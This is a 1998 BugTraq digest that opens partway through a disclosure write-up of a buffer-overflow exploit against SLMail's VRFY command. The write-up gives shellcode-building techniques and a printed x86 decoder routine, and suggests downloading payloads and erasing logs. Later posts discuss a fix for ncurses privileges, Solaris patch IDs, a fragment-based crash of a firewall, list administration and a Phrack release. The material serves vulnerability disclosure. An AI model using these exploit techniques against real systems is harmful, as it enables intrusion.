eax Effectively, this means that for each DWORD of the target program, we need to calculate a series of valid DWORDs which subtract from one-another to produce the target DWORD... Sounds tough, but it turns out that a bit of brute force solves this one easily. I wrote a fairly simple program () which calculated these numbers and produced code for me to cut and paste. After we've pushed this program onto the stack however, we need then to jump or call to it. Unfortunately our limited instruction set has only short jumps, which limits our range so much we'd have to chain them. The initial location of the stack pointer, and therefore the pushed program, is just above our current location ( where we are pushing the program ). So, instead of chaining short upwards jumps which would be hell to position and maintain, I inserted a series of "popad" instructions to move the stack pointer down, over and past the push code, allowing only enough room for the target program. The program is then pushed onto the stack and voila, no jump or call needed. We have created the program in front of our eip and we naturally execute into it. Tricky, but by leaving a bit of room at the end of the "push"ing routing filled with harmless "inc esi" instructions, it works fine. So, by using about 6-16 bytes per DWORD, we can create and run a program. At this rate, we would rapidly run out of room in our buffer to do anything. So, we add another trick. The program we produce is a small decompression routine. Using a simple nibble to byte compression routine to encrypt our main program and place it elsewhere in the buffer. This allows a 2 DWORD to 1 DWORD compression ratio, and a larger main program. The decompression routine is simple enough: ; assume edx points to source area mov esi, esp add esi, 122 ; source from esp... ; get length of code... xor ecx, ecx mov cx, word ptr [esi] add esi, 2 sub cx, 6161h mov bx, cx shr cx, 4 or cl, bl ; decode code... decode: mov eax, [esi] add esi, 4 sub eax, 61616161h mov ebx, eax shr eax, 4 or al, bl mov ebx, eax shr eax, 4 mov al, bl ror eax, 0ch shr al, 4 rol eax, 0ch push ax loop decode call esp Where Do We Want To Go Today? Game over, We can run ANY code we want at this point. I have included a full exploit program which simply create a file in the current called "md9.exe" containing the text string "SLMail contains a stack overflow", but it could just as easily be downloading a complete .exe using sockets, the inet32 api, or other means. This program could in turn re-start the SLMail service, remove any offensive log entries etc... Conclusion Seattle Lab have played down response to concerns over overflows in the VRFY argument of versions 2.5 and 2.6 of SLMail. They said that the security risk was minimal. Too hard to exploit, they said. As it turns out, the overflows in 2.5&6 are THE SIMPLEST POSSIBLE KIND. They are direct overflows with no major limitations on character set. So you can skip all the de-compression and pushing-of-programs, and locating valid addresses now means only avoiding 0's... I wrote this exploit in less than two days. Thats from the time I downloaded the evaluation copy of SLMail to the time I had arbitrary code executing on it. Now I'm not a bad guy, and I'm not paid to do this. Imagine what even governments around the world would be able to do with even a minimal "tiger team". The real message here is that this is not an isolated flaw. Buffer overflows of one kind or another are notoriously common even today on the more secure xnix platforms, and even more common on Windows Services written by programmers who do not realise or understand how serious these problems are. Recent posting to security sites reveal buffer overflows in COMMON products such as WS-FTP, SLMail, MDaemon, sendmail!!! and others. Any serious group of hackers would no doubt be yawning over my techniques here. They would have pre-fabricated routines to slot into place for various kinds of common overflows, allowing any server to be attacked potentially via any service it offers. Of course the entire DOMAIN of the attacked machine is subverted as well, so machines connected via LANs and even WAN/IP are also vulnerable, even if they don't run any vulnerable services. WAKE UP PLEASE!!! The US Congress is deliberating legislation which would make it illegal for the sites which distribute information like this illegal. The effect of this would be that the developers ( in this case Seattle Lab ) would NOT EVEN KNOW the problem existed... Whilst ANY serious hacker would have found and exploited it months ago... As an example, it is not hard to write an overflow test program for a given protocol - be it SMTP, FTP, etc. Simply by running these test suites over each new server as it is released, the hackers identify vulnerabilities quickly and painlessly, then exploit. The large number of Server providers, and the LACK OF EDUCATION amongst the authors of these programs remains a huge security risk to business and privacy on the internet. The legislation assumes that what I am doing here is providing a "how-to" manual for would be "bedroom teen-superhackers" (script kiddies). Instead, what I am doing is SHOWING WHAT OTHERS ALREADY KNOW. No teenager from his bedroom will be able to use this technique to do any real damage. If he or she were to try, they would be logged and caught without too much trouble. The government teams and whoever else has a professional interest however, ALREADY KNOW IT. I hope Seattle Lab and others will read and understand, then STOP using the "It would be too hard to exploit" excuse. Jeremy Kothe (paceflow@hotmail.com) P.S. Seattle Lab has been informed... No response yet. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ------------------------------ Date: Thu, 9 Jul 1998 21:27:24 +0200 From: Casper Dik Subject: Re: ncurses 4.1 security bug >ncurses version 4.1 fails to drop priviledges before opening the >termcap database and you can set any file(s) you like. I am not sure >any setuid program allows an exploit but this is not good in any case. >Here is a patch that stops that game. (Using the patch requires >autoconf because I have not supplied diffs against the configure >script). It seems to me that the below fix is broken; what happens if: - the program already swapped uids? (using setreuid(euid,ruid)? - you introduce a security hole - the program swapped using saved uids (using setreuid(-1. ruid)) - fine with setfsuid - but with saved uids, you reset the saved euid to ruid. (you throw way the privileges you had for good.) Juggling with uids in the library is hard; you don't know what the original uids were and you really have no way to find out. >+#ifdef HAVE_SETFSUID >+ /* drop privs to make sure file allowed */ >+ fsuid=setfsuid(getuid()); >+ fsgid=setfsgid(getgid()); >+#else >+ fsuid=getuid(); >+ fsgid=getgid(); >+#ifdef HAVE_SETREUID >+ /* Swap real and effective uid */ >+ setreuid(geteuid(), getuid()); >+ serregid(getegid(), getgid()); >+#else >+ seteuid(getuid()); /* Saved ids or broken */ >+ setegid(getgid()); >+#endif /* HAVE_SETREUID */ ------------------------------ Date: Thu, 9 Jul 1998 14:20:38 -0500 From: Edward Lewis EDU SE Nashville Subject: Re: Sun libnsl lameness The latest patch roll-out fixing this problem is for Solaris 2.6, patch ID is 105401-14, dated 6 July. It, and 103612-41 for Solaris 2.5.1 can be found at: http://sunsolve.sun.com/sunsolve/pubpatches/patches.html The current patch list for this problem by OS is below. If anyone can verify that these patches DO NOT fix the problem, post it and let's see if we can get it taken care of. SunOS 5.6 105401-14 SunOS 5.6_x86 105402-13 SunOS 5.5.1 103612-41 SunOS 5.5.1_x86 103613-41 SunOS 5.5 103187-38 SunOS 5.5_x86 103188-38 SunOS 5.4 101973-35 SunOS 5.4_x86 101974-35 SunOS 5.3 101318-91 (to be released in 12 weeks) Regards.... E. Lewis --------------------------------------------------------------------------------- > Approved-By: aleph1@DFW.NET > Mime-Version: 1.0 > Date: Thu, 9 Jul 1998 11:37:18 +1000 > From: mib@DEAKIN.EDU.AU > Subject: Re: Sun libnsl lameness > To: BUGTRAQ@NETSPACE.ORG > > Allanah Myles writes: > > This is another perfect example of why Sun should go back into the > > hardware design and architecture business, and get OUT of the > > OS/software business. Leave software design to real software > > designers. > > If anyone had actually bothered to look at Sunsolve or call Sun support > before jumping to rash conclusions they would have realised that Sun > actually fixed these problems some time in June - long before "George > Clooney" posted his diatribe on July 1st. > > The only patch I have first hand knowledge of is the 2.5.1 patch, which > is 103612-41, but Sun assure me that similar patches are available for > other releases. > > Please, can we have some rational thought on bugtraq? > > regards > > - Mike > > -- > | Mike Battersby | The skill of accurate perception is called | > | | cynicism by those who don't possess it. | ------------------------------ Date: Thu, 9 Jul 1998 15:51:14 -0400 From: "Chris A. Henesy" Subject: DoS: ANS Interlock Firewall This may be repeated information but a quick search of the archives didn't turn anything up, so here goes... There is a problem in the TCP/IP stack of ANS's Interlock Internet Firewall product. Sending the correct series of packet fragments will cause the machine to reboot. Bellow is part of a problem description provided by ANS. A patch is available. >The 1st fragment contains all (or most) of the packets payload and it >incorrectly indicates that no other fragments are coming (the IP >more fragment field is not set). The next fragment is sent with a >zero length and uses the same packet identifier (indicating its >another part of the earlier packet). This packet also does not >indicate that more fragments are coming. The result is a zero length >fragment arrives at the InterLock and gets processed by the Solaris >fragment handling code. Unfortunately, the Solaris fragment timeout >handling code (which gets involved 60 seconds later) doesnt properly >handle the zero length fragment and its panics the box during cleanup. -The Lurker ------------------------------ Date: Thu, 9 Jul 1998 15:12:12 -0500 From: Aleph One Subject: Administrivia Just in case anyone cares, as of last night BugTraq has over twenty thousand subscribers. Some reminders: The mailing list management software address is LISTSERV@NETSPACE.ORG. To unsubscribe email LISTSERV from the subscribed address with a message body of: "UNSUB BUGTRAQ". To subscribe to the digest, subscribe normally and then email LISTSERV from the subscribed address with a message body of: "SET BUGTRAQ DIGEST". To turn off the digest, email LISTSERV from the subscribed address with a message body of: "SET BUGTRAQ NODIGEST". You can read the web archives at http://www.netspace.org/lsv-archive/bugtraq.html or http://www.geeek-girl.com/bugtraq/ If you are going to post: a) make sure the issue has not been discussed before by looking at the archives, b) inform the vendor and c) clearly state the application and version numbers affected. Aleph One / aleph1@dfw.net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ Date: Thu, 9 Jul 1998 14:31:17 -0700 From: route@RESENTMENT.INFONEXUS.COM Subject: Announcement: Phrack 53 ------------------------------[ PHRACK MAGAZINE ]---------------------------- July 09, 1998 Phrack Magazine is tickled pink to announce the release of our lastest offering, issue 53. In this grandiose issue you will find a wide assortment of articles on several compelling topics, including: network protocols, MS 95 and NT, and Intrusion detection to name a few. Phrack Magazine can be harvested from the following sites: http://www.phrack.com ftp://azrael.phrack.com/pub/phrack http://www.infonexus.com/~daemon9/Projects http://www.nmrc.org/compute/intrude.html http://www.leviathan.org/phrack.html You may contact the Phrack Staff at the following email addresses: Submissions: phrackedit@phrack.com Commentary: loopback@phrack.com Publicist: dangergrl@phrack.com Phrack World News: disorder@phrack.com Editor in Chief: route@phrack.com EOF -- " ...Trying to terminate (or direct the behavior of) a single thread using a traditional signal is like trying to comb your hair with a rake. It'll be difficult, and you won't exactly get what you want... " ------------------------------ Date: Thu, 9 Jul 1998 16:17:25 -0400 From: Matt Evans Subject: Re: ncurses 4.1 security bug On Jul 8, 10:40am, Perry E. Metzger wrote: > Subject: Re: ncurses 4.1 security bug > > 2. If you are using C++ your constructors can't call libc in this case > > as the order of constructors isnt defined > > ??? > > Why not just drop privs at the beginning as you are supposed to? >-- End of excerpt from Perry E. Metzger because you dont know where the beginning is. Does every C++ constructor "drop privs" ? it is my understanding that when you have global objects, the constructors all get called before main() is invoked. The assumptions most people use when writing C++ programs with globals tend to support this. imagine this: class jar { jar() { naughty_libc_call(); }; }; jar a; jar b; main() { other_stuff(); } a.jar() and b.jar() are going to both get called before other_stuff(), but you have no way of knowing in which order a.jar() b.jar() get called with respect to each other. does jar() need to drop privs ? i hardly think so. what happens when "class lazy_programmer{};" comes along ? must all of its constructors also "drop privs" as well ? if every function "drops privs" before main() ever starts, and every function does so in some random order, i fail to see how you can create a useful set[ug]id program. But then again Alan already told us not to use C++ for set[ug]id :) ------------------------------ End of BUGTRAQ Digest - 8 Jul 1998 to 9 Jul 1998 ************************************************